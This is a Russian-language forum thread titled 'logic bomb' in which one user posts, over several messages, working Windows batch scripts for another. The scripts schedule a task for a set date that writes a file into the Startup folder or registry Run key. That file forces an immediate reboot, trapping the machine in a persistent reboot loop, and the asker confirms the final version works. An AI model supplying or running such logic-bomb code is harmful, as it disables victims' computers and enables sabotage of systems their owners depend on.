Вопрос логическая бомба!!!!


Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Пробуй так
Код:
schtasks /create /tn "My Batnik" /tr %USERPROFILE%\AppData\Local\Temp\1.bat /sc once /sd 23/12/2016 /st 13:50
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%USERPROFILE%\AppData\Local\Temp\1.bat" /f > %USERPROFILE%\AppData\Local\Temp\1.bat
echo shutdown.exe -r -f -t 00 >> %USERPROFILE%\AppData\Local\Temp\1.bat
pause в конце добавь, будет ли ругаться на что
ну или так, если ты любишь красиво и переменные...
Код:
Set LogicBomb=%USERPROFILE%\AppData\Local\Temp\1.bat
schtasks /create /tn "My Batnik" /tr %LogicBomb% /sc once /sd 23/12/2016 /st 13:50
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%LogicBomb%" /f > %LogicBomb%
echo shutdown.exe -r -f -t 00 >> %LogicBomb%
В общем должно работать, но твою команду с добавлением в автозагрузку через реестр наверное лучше заменить на добавление в пользовательскую папку автозагрузки. Иначе сработает только запуск от админа.
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
В мануале от майкрософта, есть вариант назначения задания, которое будет исполнятся при запуске системы. В примере не указан параметр с временем, но есть с датой
Screenshot - 23.12.2016 - 15:30:31.png

Так вот пример не работает. Я сначала подумал у меня где ошибка, но скопировав их текст

Screenshot - 23.12.2016 - 15:27:21.png


То есть параметр /sc onstart не может работать с датой и временем. Хз как так...

 
Последнее редактирование:

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Вот так работает. Можно наверное и короче, но я не фанат батников

Код:
@echo off
Set LogicBomb=%USERPROFILE%\AppData\Local\Temp\1.bat
Set BombPath="%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
echo copy %LogicBomb%  %BombPath% > %LogicBomb%
echo shutdown.exe -r -f -t 00 >> %LogicBomb%
schtasks /create /tn "LogicBomb" /tr %LogicBomb% /sc once /sd 23/12/2016 /st 17:50
 

Elmir

Пользователь
Форумчанин
Регистрация
21.12.2016
Сообщения
11
Антоха, крутяк!!! этот работает...))) от души!!!
 
Верх Низ